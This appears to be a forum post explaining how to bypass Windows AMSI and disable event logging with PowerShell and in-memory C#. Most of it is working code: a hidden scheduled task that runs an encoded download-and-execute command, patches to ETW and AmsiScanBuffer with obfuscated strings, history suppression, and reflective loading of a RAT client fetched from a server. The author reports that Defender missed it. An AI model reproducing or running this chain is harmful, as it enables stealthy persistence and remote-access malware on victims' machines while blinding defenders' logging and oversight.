Evading Event Log and AMSI using Powershell - WolfLtd - Jul 17, 2023
What is AMSI?
Well this is the Anti Malware Scan Interface and is used in cmd, vbs, vba and powershell. its used to protect the system from threats that use scripts to launch. So bypassing it means we can run any code we want
What is the Event Log
Well this is a log of pretty much everything for system admin to see. But if you want to stay stealthy then you want to disable this in you powershell instance. Maybe with UAC bypass try suspending the Event Log Threads in the service.
How to bypass AMSI and Hide from Event Log
To bypass AMSI and Hide from Event Log we need three things "GetProcAddress", "LoadLibrary" and "GetModuleHandle", We can use C# code to get access to the lower level WinAPI, how ever I learn while making this project that you should not use 'Add-Type' in powershell, Event Log gets called and I can't seem to block it with my patches. So I used CodeDom to compile the code and then invoke the methods i wanted to use. this worked very well. no logs from Event Log other then the one for starting powershell (I am working on trying to find a silent way to execute without event logs of it). The functions you want to Patch are "NtTraceEvent", "EtwWriteEvent", "EtwLogTraceEvent", "EtwEventWriteFull" and "AmsiScanBuffer".
This Powershell Code shows the install method
Code $action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-WindowStyle Hidden -Encoded JABjAG8AbgB0AGUAbgB0ACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoANQAwADAAMAAvADMAawB4AGMAaQAzAGQAIgApADsAaQBlAHgAIAAkAGMAbwBuAHQAZQBuAHQAOwA=';
$trigger = New-ScheduledTaskTrigger -Daily -At '12:00PM';
Register-ScheduledTask -TaskName 'MetaScript' -Action $action -Trigger $trigger;
Start-ScheduledTask -TaskName 'MetaScript';
So this code creates a task named "MetaScript" and starts it after setting it up. Now the encode script downloads another script from my localhost server
this is the loader code
Code Set-PSReadlineOption –HistorySaveStyle SaveNothing
$codeProvider = New-Object Microsoft.CSharp.CSharpCodeProvider
$compilerParams = New-Object System.CodeDom.Compiler.CompilerParameters
$compilerParams.CompilerOptions = '/t:library'
$compilerParams.GenerateInMemory = $true
$compilerParams.GenerateExecutable = $false
$compilerParams.IncludeDebugInformation = $false
$tempFileCollection = New-Object System.CodeDom.Compiler.TempFileCollection
$compilerParams.TempFiles = $tempFileCollection
$compilerResults = $codeProvider.CompileAssemblyFromSource($compilerParams, @"
using System;
using System.Reflection;
using System.Runtime.InteropServices;
public class Win32
{
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
private static bool WriteMemory(IntPtr address, uint size, byte[] bytes){
uint oldProtect = 0;
if(VirtualProtect(address, (UIntPtr)size, 0x40, out oldProtect)){
Marshal.Copy(bytes, 0, address, (int)size);
VirtualProtect(address, (UIntPtr)size, oldProtect, out oldProtect);
return true;
}
return false;
}
private static bool DisableEvent(){
IntPtr mod = GetModuleHandle("ntdll.dll");
if(mod != IntPtr.Zero){
IntPtr function = GetProcAddress(mod, "NtTraceEvent");
if(function != IntPtr.Zero){
byte[] bb = {0xC3};
if(WriteMemory(function, 1, bb)){
return true;
}
}
}
return false;
}
private static bool DisableLogs1(){
IntPtr ntd = GetModuleHandle("ntdll.dll");
if(ntd != IntPtr.Zero){
IntPtr funct = GetProcAddress(ntd, "EtwEventWrite");
if(funct != IntPtr.Zero){
byte[] bb = {0xC3};
if(WriteMemory(funct, 1, bb)){
return true;
}
}
}
return false;
}
private static bool DisableLogs2(){
IntPtr ntd = GetModuleHandle("ntdll.dll");
if(ntd != IntPtr.Zero){
IntPtr funct = GetProcAddress(ntd, "EtwEventWriteFull");
if(funct != IntPtr.Zero){
byte[] bb = {0xC3};
if(WriteMemory(funct, 1, bb)){
return true;
}
}
}
return false;
}
private static bool DisableLogs3(){
IntPtr ntd = GetModuleHandle("ntdll.dll");
if(ntd != IntPtr.Zero){
IntPtr funct = GetProcAddress(ntd, "EtwLogTraceEvent");
if(funct != IntPtr.Zero){
byte[] bb = {0xC3};
if(WriteMemory(funct, 1, bb)){
return true;
}
}
}
return false;
}
static byte[] patch = { 0x31, 0xC0, 0x05, 0x4E, 0xFE, 0xFD, 0x7D, 0x05, 0x09, 0x02, 0x09, 0x02, 0xC3 };
public static bool Patch(){
string[] buffer = { "Am", "siS", "canB", "uff","er" };
string[] buf = {"Am", "si.","dl","l"};
IntPtr mod = GetModuleHandle(string.Concat(buf));
IntPtr addr = GetProcAddress(mod, string.Concat(buffer));
if (addr != IntPtr.Zero){
if(WriteMemory(addr, 13, patch)){
return true;
}
}
return false;
}
public static bool DisableEventLog(){
if(DisableEvent() && DisableLogs1() && DisableLogs2() && DisableLogs3()){
return true;
}
return false;
}
public static void Load_NET(string base64Assembly){
byte[] assemblyBytes = Convert.FromBase64String(base64Assembly);
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo entryPoint = assembly.EntryPoint;
object[] args = new object[] { new string[0] };
entryPoint.Invoke(null, args);
}
}
"@)
if ($compilerResults.Errors.HasErrors) {
$compilerResults.Errors | ForEach-Object {
Write-Host "Error: $_"
}
}
$tempFileCollection.Delete()
$win32Assembly = $compilerResults.CompiledAssembly
$win32Type = $win32Assembly.GetType('Win32')
$disableEventLogMethod = $win32Type.GetMethod('DisableEventLog')
if ($disableEventLogMethod.Invoke($null, @())) {
Write-Output "Event Log Patched"
$patchMethod = $win32Type.GetMethod('Patch')
if ($patchMethod.Invoke($null, @())) {
Write-Output "AMSI Patched"
$content = (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:5000/client") # Download Rat Client
$loader = $win32Type.GetMethod('Load_NET');
$loader.Invoke($null, @([string]$content));
}
}
So this script Will Patch all of them functions we mentioned early and it will download and execute a .NET file in my case i used an open source rat as demo, even tho i did not crypt the rat it loaded and WD was unable to detect it.
Also I have found something funny about visual studio project file and So maybe in my next thread i will cover that a bit, I am just testing the method as of writing this
Note: I am not an expert so take what i say with a grain of salt.
Disclaimer: This write-up is intended for educational purposes only. The information provided here demonstrates how certain evasion techniques can be employed using C# and PowerShell. The author does not condone or promote the use of these techniques for any malicious purposes or unauthorized activities. Readers are urged to use this knowledge responsibly, adhere to ethical standards, and comply with all applicable laws and regulations. The author shall not be held responsible for any misuse or illegal use of the information provided in this write-up.
|